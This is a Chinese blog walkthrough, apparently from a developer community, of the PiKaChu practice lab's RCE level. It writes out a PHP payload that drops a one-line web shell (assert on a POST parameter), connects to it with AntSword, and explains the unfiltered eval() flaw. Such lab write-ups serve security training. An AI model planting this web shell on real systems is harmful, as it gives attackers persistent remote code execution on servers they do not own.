AI 助理
备案控制台
开发者社区 开发与运维 文章 正文

[PiKaChu靶场通关]RCE远程代码执行（下）

2022-01-06 233
版权
版权声明：
本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《 阿里云开发者社区用户服务协议》和 《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写 侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。
简介： [PiKaChu靶场通关]RCE远程代码执行

五、上马上马

payload：fputs(fopen(‘shell.php’,‘w’),’<?php assert($_POST[fin]);?>’);

image.png

到本关目录下查看，多了一个马

image.png

蚁剑链接一下

image.png

image.png

查看一下漏洞原因，用户输入没过滤就直接传到eval()函数里面去了

image.png

文章标签：
PHP
安全
拈花倾城
目录
相关文章
众所周知
|
11月前
|
人工智能 自然语言处理 语音技术
利用Python进行自然语言处理（NLP）
利用Python进行自然语言处理（NLP）
众所周知
225 3
平凡程序猿~
|
7月前
|
机器学习/深度学习 自然语言处理 监控
深入探索：深度学习在时间序列预测中的强大应用与实现
时间序列分析是数据科学和机器学习中一个重要的研究领域，广泛应用于金融市场、天气预报、能源管理、交通预测、健康监控等多个领域。时间序列数据具有顺序相关性，通常展示出时间上较强的依赖性，因此简单的传统回归模型往往不能捕捉其中复杂的动态特征。深度学习通过其非线性建模能力和层次结构的特征提取能力，能够有效地捕捉复杂的时间相关性和非线性动态变化模式，从而在时间序列分析中展现出极大的潜力。
平凡程序猿~
466 0
香甜可口草莓蛋糕
|
安全 网络安全 数据安全/隐私保护
Pikachu RCE 通关解析
Pikachu RCE 通关解析
香甜可口草莓蛋糕
315 2
乘风直上
|
人工智能 运维
【7月更文挑战赛】获奖名单出炉，快来看看谁是七月创作明星！
【7月更文挑战赛】获奖名单出炉啦
乘风直上
271 12
游客xusvbxsoy3qma
|
数据采集 安全 数据中心
数据中心代理IP与普通代理IP有何区别？
数据中心代理IP与普通代理IP主要区别在于来源、稳定性、速度、隐私安全及可用地区。数据中心代理IP更稳定、速度快、隐私安全，提供全球IP，适合大规模爬取和数据采集；普通代理IP来源于个人或小组织，可能不稳定、速度慢，但能满足一般代理需求。
游客xusvbxsoy3qma
195 2
游客3ash5pnjeeq2i
|
安全
《你的游戏，真的安全么？》电子版地址
你的游戏，真的安全么？
游客3ash5pnjeeq2i
101 0
《你的游戏，真的安全么？》电子版地址
随风kali
|
安全 Shell PHP
干货 | 命令执行(RCE)面对各种过滤，骚姿势绕过总结
干货 | 命令执行(RCE)面对各种过滤，骚姿势绕过总结
随风kali
2124 0
跑不了的你
|
设计模式 uml
图解设计模式——学习设计模式之前需要了解的信息
为了方便地编写面向对象程序，我们会使用类库，但是设计模式并非类库。与类库相比，设计模式是一个非常普遍的概念。类库是由程序组合而成的组件，而设计模式则用来表现内部组件是如何被组装的，以及每一个组件是如何通过相互关联来构成一个庞大系统的。
跑不了的你
267 1
热爱科技的刘同学
|
机器学习/深度学习 PyTorch 算法框架/工具
【Python深度学习】深度学习框架搭建模版
首先是导入包因为使用的是pytorch框架所以倒入torch相关包，summary是可以获得自己搭建模型的参数、各层特征图大小、以及各层的参数所占内存的包作用效果如p2
热爱科技的刘同学
233 0
【Python深度学习】深度学习框架搭建模版
dufadayang
|
移动开发 前端开发 JavaScript
我修复的印象最深的一个bug
作为一个程序猿，几乎天天都要和bug斗智斗勇，就像那句话说的，程序猿每天不是在改bug就是在去改bug的路上。每天都在和bug较劲，但是我修复的印象最深的一个bug是关于浏览器对js Date数据格式的兼容性造成的
dufadayang
1117 43